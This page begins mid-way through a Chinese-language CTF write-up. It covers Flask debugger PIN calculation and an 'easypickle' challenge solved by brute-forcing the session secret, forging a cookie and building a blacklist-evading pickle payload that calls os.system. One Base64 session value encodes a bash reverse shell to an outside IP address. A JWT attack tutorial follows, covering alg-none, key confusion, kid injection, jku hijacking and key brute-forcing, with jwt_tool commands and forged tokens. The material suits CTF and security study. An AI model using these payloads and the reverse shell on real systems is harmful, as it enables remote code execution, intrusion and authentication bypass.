/proc/self/cgroup'96cec10d3d9307792745ec3b85c896201d32e75cee611384a0f09556e07ef291176ed1454d035521b7e624689d20583d']h = hashlib.sha1()for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = Noneif num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =Noneif rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)读取 flag上面算machine_id有点小坑是,算pin的好多文章描述的都是(每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取),然后这里三个文件都有。最后各种匹配都不行。看了下算machine_id的源码,其实就是把/etc/machine-id和/proc/self/cgroup拼接起来就行了 3.easypickle题目源码:import base64 import pickle from flask import Flask, session import os import random app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(2).hex() @app.route('/') def hello_world(): if not session.get('user'): session['user'] = ''.join(random.choices("admin", k=5)) return 'Hello {}!'.format(session['user']) @app.route('/admin') def admin(): if session.get('user') != "admin": return f"<script>alert('Access Denied');window.location.href='/'</script>" else: try: a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes") if b'R' in a or b'i' in a or b'o' in a or b'b' in a: raise pickle.UnpicklingError("R i o b is forbidden") pickle.loads(base64.b64decode(session.get('ser_data'))) return "ok" except: return "error!" if __name__ == '__main__': app.run(host='0.0.0.0', port=8888)首先我们如果要反序列化的化,就要伪造session让自己是admin。那么我们首先就需要获取到密钥。这里的密钥是伪随机的。我们生成字典利用工具爆破出密钥即可numbers_str = [str(x) for x in range(10)] a=['a','b','c','d','e','f'] a+= numbers_str file=open("C:/Users/Administrator/Desktop/easypickle/zidian.txt",'w') for b in a: for c in a: for d in a: for e in a: file.write("{}{}{}{}\n".format(b,c,d,e)) 然后利用flask-unsign工具直接跑就行了(跑得不是一般的快flask-unsign --unsign --cookie "eyJ1c2VyIjoiYWRtaW4ifQ.YyVFUA.RSTsbveITHMSD9v0MTLMswCryRc" --wordlist "C:\Users\Administrator\Desktop\easypickle\zidian.txt" --no-literal-eval [*] Session decodes to: {'user': 'admin'} [*] Starting brute-forcer with 8 threads.. [+] Found secret key after 24960 attempts b'6174 黑名单这里的逻辑是把我们的序列化的数据解码后正则,再替换,只要替换后的payload过了waf就可以了。最后反序列化的是替换前的。那么这里其实是可以用o指令,只是也要把s指令带上,那么替换之后就变成了Os然后是可以过waf的,最后反序列化的是os.s的指令如下。那么我们只需要把s指令和o指令合理结合即可 本地测试一下import pickle import base64 import os code=b'''(S'shanghe'\nS'shanghe'\nd(S'shanghe'\nS'shanghe'\nd(cos\nsystem\nS'dir'\nos.''' code=base64.b64encode(code) print(code) # pickle.loads(base64.b64decode(code) 大家可以参考一下这篇文章来补一下pickle的指令https://xz.aliyun.com/t/7436#toc-6,然后像文章里面一样利用pickle的工具库来分析payloadC:\Users\Administrator\Desktop\easypickle\venv\Scripts\python.exe C:/Users/Administrator/Desktop/easypickle/3.py code=b'''(S'shanghe'\nS'shanghe'\nd(S'shanghe'\nS'shanghe'\nd(cos\nsystem\nS'dir'\nos.''' 0: ( MARK 1: S STRING 'shanghe1' 12: S STRING 'shanghe' #这里的意思是压进去第一个字典 23: d DICT (MARK at 0) 24: ( MARK 25: S STRING 'shanghe2' 36: S STRING 'shanghe' 47: d DICT (MARK at 24) #再往栈里面压进去第二个字典 48: ( MARK 49: c GLOBAL 'os system' 60: S STRING 'dir' 67: o OBJ (MARK at 48) #这里用我们逃出来的o指令进行命令执行 68: s SETITEM #最后s的指令就会把 o指令执行后的内容以及shanghe2的键值对压进去shanghe1的字典里面,作为新的键值对。 69: . STOP highest protocol among opcodes = 1 最后直接拿flag即可。也可以编码用v指令任意命令执行反弹shell都可以import pickle import base64 import os code=b'''(S'shanghe'\nS'shanghe'\ndS'shanghe'\n(cos\nsystem\nS'cat f* >xxx'os.''' code=base64.b64encode(code) print(code) # pickle.loads(base64.b64decode(code))然后伪造即可替换原来的sesison,然后访问admin页面即可 python3 flask_session_cookie_manager3.py encode -s "6174" -t "{'user': 'admin','ser_data':b'KFMnc2hhbmdoZScKUydzaGFuZ2hlJwpkUydzaGFuZ2hlJwooY29zCnN5c3RlbQpWXHUwMDYyXHUwMDYxXHUwMDczXHUwMDY4XHUwMDIwXHUwMDJEXHUwMDYzXHUwMDIwXHUwMDI3XHUwMDczXHUwMDY4XHUwMDIwXHUwMDJEXHUwMDY5XHUwMDIwXHUwMDNFXHUwMDI2XHUwMDIwXHUwMDJGXHUwMDY0XHUwMDY1XHUwMDc2XHUwMDJGXHUwMDc0XHUwMDYzXHUwMDcwXHUwMDJGXHUwMDM0XHUwMDM3XHUwMDJFXHUwMDM5XHUwMDM2XHUwMDJFXHUwMDM0XHUwMDMxXHUwMDJFXHUwMDMxXHUwMDMwXHUwMDMzXHUwMDJGXHUwMDMxXHUwMDMzXHUwMDMzXHUwMDM3XHUwMDIwXHUwMDMwXHUwMDNFXHUwMDI2XHUwMDMxXHUwMDI3Cm9zLg=='} 参考连接:https://mp.weixin.qq.com/s/UucoNpyYoopJ4X7V_CmpiA http://www.fzwjscj.xyz/index.php/archives/48/ Arr3stY0u战队wp 附件下载:链接:https://pan.baidu.com/s/1h9TST5S8zPs4EY5jRgZqDA 提取码:2pay
-
JWT认证攻击详解总结
0x01 JWT基础知识1.JWT简介JWT全称为JSON Web Token,将json对象作为载体来传输信息。通常用于身份认证和信息交换。JWT 可以使用密钥(HMAC 算法)或使用 RSA 或 ECDSA 的公钥/私钥对自身进行签名2.JWT格式每当用户访问站点中的资源时,对应的请求头认证默认为Authorization: jwt,JTW令牌认证以eyJ开头JWT的数据头部如下:JWT的数据分为三部分:头部(Header),有效载荷(Payload),签名(Signature)三个部分以英文句号.隔开,JWT的内容以Base64URL进行了编码下面就是一个具体token的例子: eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw(1) 头部头部中包含了JWT配置方面的信息,例如签名算法(alg),令牌类型(JWT)和,加密算法(alg)或者算法使用的密钥文件(当服务器需要多个密钥文件时使用)。Header: eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQbase64解码:{"kid":"keys/3c3c2ea1c3f113f649dc9389dd71b851","typ":"JWT","alg":"RS256"}其中令牌认证类型为JWT,加密算法为RS256(2)有效载荷有效载荷用于存储用户的数据,如用户名(test123)Payload: eyJzdWIiOiJkdWJoZTEyMyJ9 (3)签名Signature 需要使用编码后的 header 和 payload 以及我们提供的一个密钥,然后使用 header 中指定的签名算法通常是RS256(RSA非对称加密和私钥签名)和HS256(HMAC SHA256对称加密)算法进行签名。签名的作用是保证 JWT 没有被篡改过下面是一个用HS256生成Jw=WT的代码例子 HMACSHA256(base64Encode(header) + "." + base64urlEncode(payload),secret)Signature:XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw 0x02 JWT常见安全问题 1.签名算法可被修改为none(CVE-2015-9235)JWT支持将算法设定为“None”。如果“alg”字段设为“ None”,那么签名会被置空,这样任何token都是有效的 方式一:原有payload的数据不被改变基础上而进行未校验签名算法eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.LlHtXxVQkjLvW8cN_8Kb3TerEEPm2-rAfnwZ_h0pZBg https://jwt.io/使用jwt_too进行攻击(该工具适用于不改变原有payload的数据的基础上而没有签名算法获得的token)python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.LlHtXxVQkjLvW8cN_8Kb3TerEEPm2-rAfnwZ_h0pZBg -X a得到签名算法为none认证的tokeneyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19. 使用得到的token 进行认证请求http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php 方式二:原有payload的数据被改变基础上而进行没校验签名算法 使用python3的pyjwt模块,修改payload中的数据,利用签名算法none漏洞,重新生成令牌 >>> import jwt >>> encoded = jwt.encode({"iss": "https://demo.sjoerdlangkemper.nl/","iat": 1662737965,"exp": 1662739165,"data": {"hello": "admin" }}, '', algorithm='none') >>> encoded 'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWluIn19.' 得到的toekn:eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWluIn19. 修复方案:JWT 配置应该只指定所需的签名算法 2.未校验签名某些服务端并未校验JWT签名,可以尝试修改payload后然后直接请求token或者直接删除signature再次请求查看其是否还有效。通过在线工具jwt.io修改payload数据 然后得到的token进行认证请求eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWlucyJ9fQ.Sv4QGoIbSQSP7Yeha2Qbhk10za6z42UqdZuv1IUmPnU或者删除signature,再次请求toekn认证:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3Mzc5NjUsImV4cCI6MTY2MjczOTE2NSwiZGF0YSI6eyJoZWxsbyI6ImFkbWlucyJ9fQ. 修复方案:JWT 配置应该只指定所需的签名算法 3.JWKS公钥 注入 ——伪造密钥(CVE-2018-0114)创建一个新的 RSA 证书对,注入一个 JWKS 文件,攻击者可以使用新的私钥对令牌进行签名,将公钥包含在令牌中,然后让服务使用该密钥来验证令牌攻击者可以通过以下方法来伪造JWT:删除原始签名,向标头添加新的公钥,然后使用与该公钥关联的私钥进行签名。 eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X i 得到的token认证:eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJqd3RfdG9vbCIsInVzZSI6InNpZyIsImUiOiJBUUFCIiwibiI6IjFQZDNGTXBFUVM0SU15WjJ4Tlh5UEJrdnRCWnBEZG8wakFGTEtwemdfSEM1ZE1vU3ZRR1pDWVpwZlJpMlpaTDZoUkNFNW9DUWRHeGd0MzZQZVV2MERhTG8zLVJacGtzcFhpT3QzWU00RDU3SDdvQllEWVExcFh1dHNBRzliaXJ6SENGM2l0alg1S0Zha2ljTkw5cGsySnloRDRTU1BoOUVQMkNQVHExMV9sV1o1N1ZacGFMdDJxLXB1THQ3SWNSYnhmbEhlaUZxRTlUSUtnRW1scExBVjBRajFiWEk3bVhMZEQxT0NyS2w0SDdqbEFlWG5LY0xQTEJnb2Y4RzBTeXRGSU1PN1BvQVpUZUVHVHJiZmktNlZKNGNrcUNfdjJYQUR1WHBTSU5mOFBrbXZXckdjTk1XaEEwVXZvcVJCdnFHR0ZBWnBRT2dhR1VUVktvdzJOTXllUSJ9fQ.eyJsb2dpbiI6InRpY2FycGkifQ.JGqsWHbZaas_4DAfbtkK-DOBpueDrWw3tZuBonKUleIoa_Ll6yMrwzvJ0RjqMH2hIlhKrixTce7RtJPiqEJAHv_5eMF5G3qkU2jDbM6Un19dlTRTBfCh3FIKMrkh1P-CUUw7AXO2cae1GWNvGK74d3VNulgBK5Qy4uZryrzJUO-7Dx5vHUfV3eJ8J-FRRFqDO_DYAjB7cbWHuB4RHcUkIwJ9Fz3ze5JIKMXrcmZIEvCssUxjaYIb7Rpm-lI34yWSQbOGA82glkt4xqjulZZqF7Eysu1Q3JNUqPiD24T1zrE7CHm3btpBzW4CSRPrs8z5E-GUgZApH_vodp3mLxa9tA 修复方案:JWT 配置应明确定义接受哪些公钥进行验证 4.空签名(CVE-2020-28042)从令牌末尾删除签名 python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X n得到的token认证: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.修复方案:JWT 库应该针对这个问题进行修补 4.敏感信息泄露JWT的header头base64解码可泄露敏感数据如密钥文件或者密码或者注入漏洞eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ base64解码:{"kid":"keys/3c3c2ea1c3f113f649dc9389dd71b851","typ":"JWT","alg":"RS256"}其中认证类型为JWT,加密算法为RS256,kid指定加密算法的密钥,密钥KID的路径为:keys/3c3c2ea1c3f113f649dc9389dd71b851k, 则在 Web 根目录中查找 /key/3c3c2ea1c3f113f649dc9389dd71b851k 和 /key/3c3c2ea1c3f113f649dc9389dd71b851k.pem 5.KID参数漏洞(1)任意文件读取密钥 ID (kid) 是一个可选header,是字符串类型,用于表示文件系统或数据库中存在的特定密钥,然后使用其内容来验证签名。如果有多个用于签署令牌的密钥,则此参数很有帮助,但如果它是可注入的,则可能很危险,因为攻击者可以指向内容可预测的特定文件。 kid参数用于读取密钥文件,但系统并不会知道用户想要读取的到底是不是密钥文件,所以,如果在没有对参数进行过滤的前提下,攻击者是可以读取到系统的任意文件的。{ "typ": "JWT", "kid": "/etc/passwd", "alg": "HS256"}得到的token:eyJ0eXAiOiJKV1QiLCJraWQiOiIvZXRjL3Bhc3N3ZCIsImFsZyI6IkhTMjU2In0.eyJsb2dpbiI6InRpY2FycGkifQ.CPsfiq-_MnwM7dF6ZZhWPl2IbKgF447Iw6_EgRp6PFQ注意:在 linux系统中/dev/null被称为空设备文件,并且总是不返回任何内容,可绕过进行任意文件读取python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -pc login -pv "ticarpi" 参数说明:-I 对当前声明进行注入或更新内容,-hc kid 设置现有 header 中 kid,-hv 设置其值为 "../../dev/null",-pc 设置 payload 的申明变量名如:login,-pv 设置 申明变量login的值为 "ticarpi" 或者可以使用 Web 根目录中存在的任何文件,例如 CSS 或 JS,并使用其内容来验证签名。python3 jwt_tool.py -I -hc Kid -hv "路径/of/the/file" -S hs256 -p "文件内容" (2)SQL注入kid也可以从数据库中提取数据,这时候就有可能造成SQL注入攻击,通过构造SQL语句来获取数据或者是绕过signature的验证{ "typ": "JWT", "kid": "key11111111' || union select 'secretkey' --", "alg": "HS256"}得到的token:eyJ0eXAiOiJKV1QiLCJraWQiOiJrZXkxMTExMTExMScgfHwgdW5pb24gc2VsZWN0ICdzZWNyZXRrZXknIC0tIiwiYWxnIjoiSFMyNTYifQ.eyJsb2dpbiI6InRpY2FycGkifQ.I2oD_v7UvBIqilLcyuqP_HDY28yp1IFZeTs90fk-Tdc(3) 命令注入对kid参数过滤不严也可能会出现命令注入问题,但是利用条件比较苛刻。如果服务器后端使用的是Ruby,在读取密钥文件时使用了open函数,通过构造参数就可能造成命令注入。{ "typ": "JWT", "kid": "keys/3c3c2ea1c3f113f649dc9389dd71b851k|whoami", "alg": "HS256"} 得到的token:eyJ0eXAiOiJKV1QiLCJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxa3x3aG9hbWkiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.yRBA6iUYepL129lB3YL3FXYZ_ducatRLJnpdFiG9lf0 6.将加密算法 RS256(非对称)更改为 HS256(对称)(CVE-2016-5431/CVE-2016-10555)JWT最常用的两种算法是HMAC(非对称加密算法)和RSA(非对称加密算法)。HMAC(对称加密算法)用同一个密钥对token进行签名和认证。而RSA(非对称加密算法)需要两个密钥,先用私钥加密生成JWT,然后使用其对应的公钥来解密验证将算法RS256修改为HS256(非对称密码算法=>对称密码算法) 方式一:在原payload不被修改的基础上,并将算法RS256修改为HS256python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3NDE3MDcsImV4cCI6MTY2Mjc0MjkwNywiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.BOiukQghoC-t2nmM5w9SUZURv9sw0FNtmfbzirKi6EEvcqhcjTaeQF6-crCAjLxNoR84A_P8MY5mGL5ZrgDGTbfsXLbMawewaavG090FkvhCkWuPla95LJZsM0H2fFa9PpHruYmWUo9uBVRILpBXLtQDnznTPdbjwXleX3Yr0M4qEKDTPxQzO62O3vSizBm8hzgEnNkiLWPOqfTLXMBf4W0q_4V0A7tK0PoEuoVnsiB1AmHeml4ez2Ksr4m9AqAW52PgrCa9uBEICU3TlNRcXvmiTbmU_xU4W5Bu010SfpxHo3Bc8yEZvLOKC5xZ2zqUX3HJhA_4Bzxu0nmev13Yag -X k -pk public.pem公钥文件下载:https://raw.githubusercontent.com/Sjord/jwtdemo/master/public.pem得到的token认证:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3NDE3MDcsImV4cCI6MTY2Mjc0MjkwNywiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.E0GXzwsvGE7PY3r67VK6ur6zmIxGRurdOJ-92nv1UMI 方式二:在原payload被修改的基础上,并将算法RS256修改为HS256通过以下脚本修改数据并重新生成token:# coding=utf-8import hmacimport hashlibimport base64 file = open('publickey.pem') #需要将文中的publickey下载 与脚本同目录key = file.read() # Paste your header and payload hereheader = '{"typ": "JWT", "alg": "HS256"}'payload = '{"iss": "https://demo.sjoerdlangkemper.nl/","iat": 1662737965,"exp": 1662739165,"data": {"hello": "admins" }}' # Creating encoded headerencodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))encodeHeader = str(encodeHBytes, "utf-8").rstrip("=") # Creating encoded payloadencodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))encodePayload = str(encodePBytes, "utf-8").rstrip("=") # Concatenating header and payloadtoken = (encodeHeader + "." + encodePayload) # Creating signaturesig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=") print(token + "." + sig)最终得到的token:eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJpc3MiOiAiaHR0cHM6Ly9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmwvIiwiaWF0IjogMTY2MjczNzk2NSwiZXhwIjogMTY2MjczOTE2NSwiZGF0YSI6IHsiaGVsbG8iOiAiYWRtaW5zIiB9fQ.HiooUWsZrH5mFlW2hokYny7fakVcOtkMgd7JsBT-1yY注意:查找公钥文件的方法1.SSL 密钥重用在某些情况下,令牌可能会使用网络服务器 SSL 连接的私钥进行签名。获取 x509 并从 SSL 中提取公钥: $ openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem $ openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem 2.API 泄露公钥为了验证令牌,服务可以通过 API 端点(例如/API/v1/keys)泄露公钥3.JWKS 常用位置/.well-known/jwks.json/openid/connect/jwks.json/jwks.json/api/键/api/v1/keys 修复方案:JWT 配置应该只允许 HMAC 算法或公钥算法,不允许两者同时存在 7.签名密钥可被爆破HMAC签名密钥(例如HS256 / HS384 / HS512)使用对称加密,如果HS256密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3NDM4NzIsImV4cCI6MTY2Mjc0NTA3MiwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.WoHYNyyYLPZ45aM-BN_jqGQekzkvMi251QZbw9xDHAE python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczpcL1wvZGVtby5zam9lcmRsYW5na2VtcGVyLm5sXC8iLCJpYXQiOjE2NjI3NDM4NzIsImV4cCI6MTY2Mjc0NTA3MiwiZGF0YSI6eyJoZWxsbyI6IndvcmxkIn19.WoHYNyyYLPZ45aM-BN_jqGQekzkvMi251QZbw9xDHAE -C -d /usr/share/wordlists/fasttrack.txt 成功破解出密钥key为:secret,获得的密钥key通过在线jwt.io在线修改数据,重新生成token 修改后的token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2RlbW8uc2pvZXJkbGFuZ2tlbXBlci5ubC8iLCJpYXQiOjE2NjI3NDM4NzIsImV4cCI6MTY2Mjc0NTA3MiwiZGF0YSI6eyJoZWxsbyI6ImFkbWluIn19.UXl0zzAMP_8eb7TcwYa0kXtd9lMzyeytA BerT-Ljcvc 7.JWKS 劫持此攻击使用“jku”和“x5u”标头值,它们指向用于验证非对称签名令牌的 JWKS 文件或 x509 证书(通常本身位于 JWKS 文件中)的 URL。通过将“jku”或“x5u”URL 替换为包含公钥的攻击者控制的 URL,攻击者可以使用配对的私钥对令牌进行签名,并让服务检索恶意公钥并验证令牌。使用自动生成的 RSA 密钥并在提供的 URL (-ju) 处提供 JWKS 或将 URL 添加到 jwtconf.ini 配置文件中 ,并使用私钥对令牌进行签名: Deconstructed: {"typ":"JWT","alg":"RS256", "jku":"https://ticarpi.com/jwks.json"}. {"login":"ticarpi"}. 生成的token认证:eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vdGljYXJwaS5jb20vandrcy5qc29uIn0.eyJsb2dpbiI6InRpY2FycGkifQ.hwgF2BnpRgSBJ2gnGoo-Uv1DA33wc8Nxr59AuLneSIqEITGNvQofpp3n0Afd_97kPLcITqJo84_jxTACupicK8yKT-pA8C4isgPN9dXNfHoUDOyTyd_jiKjCXAv9fh5sXPcUJpf06ok-Sw7ZvAN0sD_jVJv6iksZ6yMkSsmjpYO7LPmJb99We465tbrhauNdKfY-pVQCtEGHwZYvrXEr0fSgq018QA_n7N6DvtjxqcAuG0HcmBSWyzmbzl-OegnkWLj1r4_9v3aMxU8Lohsvha9haHW1ShpBdZlijKqXSZ9FQ1dU96-JQsbqMqGHLlEQqLxMNIrUQs2Vc0EGUaWu9 修复方案:JWT 配置应明确定义允许哪些 JWKS 文件和URL进行认证访问 8.修改payload,重新令牌生成使用已知密钥文件或者密码签署令牌例如:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IlRpbWUifQ.2YosC1XgEHYbLonkRpX49gi3Lqnr4dngsThwnBGvhwA可以通过在线jwt.io进行重新生成令牌 或者通过脚本也可以生成令牌这里假如泄露了加密的蜜钥key为:1Kun通过以下命令修改数据重新获得token:没有jwt的先执行pip3 install pyjwt>>> import jwt>>> encoded = jwt.encode({'username': 'admin'}, '1Kun', algorithm='HS512')>>> encoded 最终的到修改后的token值:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.bEhwF8P7kpP5AWiSM73mQjfk2dV7xiQRu7uSM8I01y8L57Ewp4Ve0fE8tPp4U7rvM_OXy79mUqGWuETCtAiLBw 9.未校验签名的JWT的模糊测试 10.重放JWT(token令牌不过期)如果特定令牌只能使用一次怎么办?让我们想象一个场景,当用户编写一个生成的令牌以执行我们API中的DELETE方法时。然后,例如1天后(理论上他不再拥有相应的权限)之后,他尝试再次使用它(所谓的重播攻击)。 为此,请使用以下声明:jti和exp。Jti(JWT ID)是令牌标识符,必须是唯一的,而exp是令牌到期日期的定义。这两个字段的组合将使我们在适当程度上缩短令牌的有效性及其唯一性。 因此 token 的令牌失效时间建议设置为2小时失效 11.JWK中JKU/X5U 注入标题中 jku 和 x5u 都是放在 JWT Header 中的,使用 URL 方式用于提供密钥。目前 jku、x5u 问题产生在于没有严格限定 URL ,使得 Server 端随其请求其他 URL 的密钥验证 JWT。 (1) JKU注入 jku(JWK Set URL)表示把公钥放在 URL 中通过访问 URL 来获取密码进行签名,这样就可以灵活切换密钥。 { "alg": "RS256", "typ": "JWT", "jku": "https://example.com/jwks.json" }https://example.com/jwks.json 对应公钥类似下面格式,这组数据叫 jwks(JSON Web Key Set),意思是用 JSON 数据表示多个密钥,相对应单个密钥放入 JSON 就是 JWK。 { "keys": [ { "alg": "RS256", "e": "AQAB", "kid": "5N0bTJKpSWJxDlgM86/ni8p4M/0Z6HyhG085sOr+y8w=", "kty": "RSA", "n": "gd1BjHCazeeSnCtJtK5CQHLi7pkmAihIvBWhUuSpNzgVrwsWzQspCQ9qRKsaZOtuJcbFJd0cgJYiO-egH-aheI8b2OIsi_VWjq9Gf2BkFk8ZyuErBJml6aJmf_o4lOblnbAN4Tw8_W5_SA0E3N_vU5Ay9ruCykKkiVShOejRJzqey58bcVmSv3aAggsY8_GuLWuSZ9BhWeuEwp-Dx3wsGknmES2NDoko4vtTHFb_p32B0G1YKYtoY-n3IligDGOghT_sFrjTXPBNn27gkFI-38soHTttShepXQYPDUaOJYyh7NovhoOCntRBlqeFgvtYfWj-iLj5ISeAhhn1Phuk1Q", "use": "sig" }, { "alg": "RS256", "e": "AQAB", "kid": "ibXf2UfPH/nPTmK/5EpdwBnrIbOIdcJUxL7/z/LLtr4=", "kty": "RSA", "n": "iMydXmbxVDUWW7tkCmtLTpKfPRxdjtOtIhGxW9kKP7NId1-l2jh2kZ8aklOUk0r9hk62jrtfcpradtmL11INpH_mUfDD-F5f1BgNAIjcel5-eIVxzRKUbrBgifwFDwVFFs9G7n8XLX2eCopmtewg3xcSRwcVVYQeSY75KqgkWT9ngYmeSoG4He5AhmN0DpDoSUc4E_LCzqGaGoAHSGmr4Zrt3MAF_ewlaDUs55WM_5PzIxp5OvFxiVDl82QJ9acEjreiQ-9L7k2ujkZs8ZkgUTLFljGCr4A-Q2ylEndFFjwMBp3OMcd_BBGTb7zfDTAyZ6ogQPy_i3Vr7d5PA5DYUw", "use": "sig" 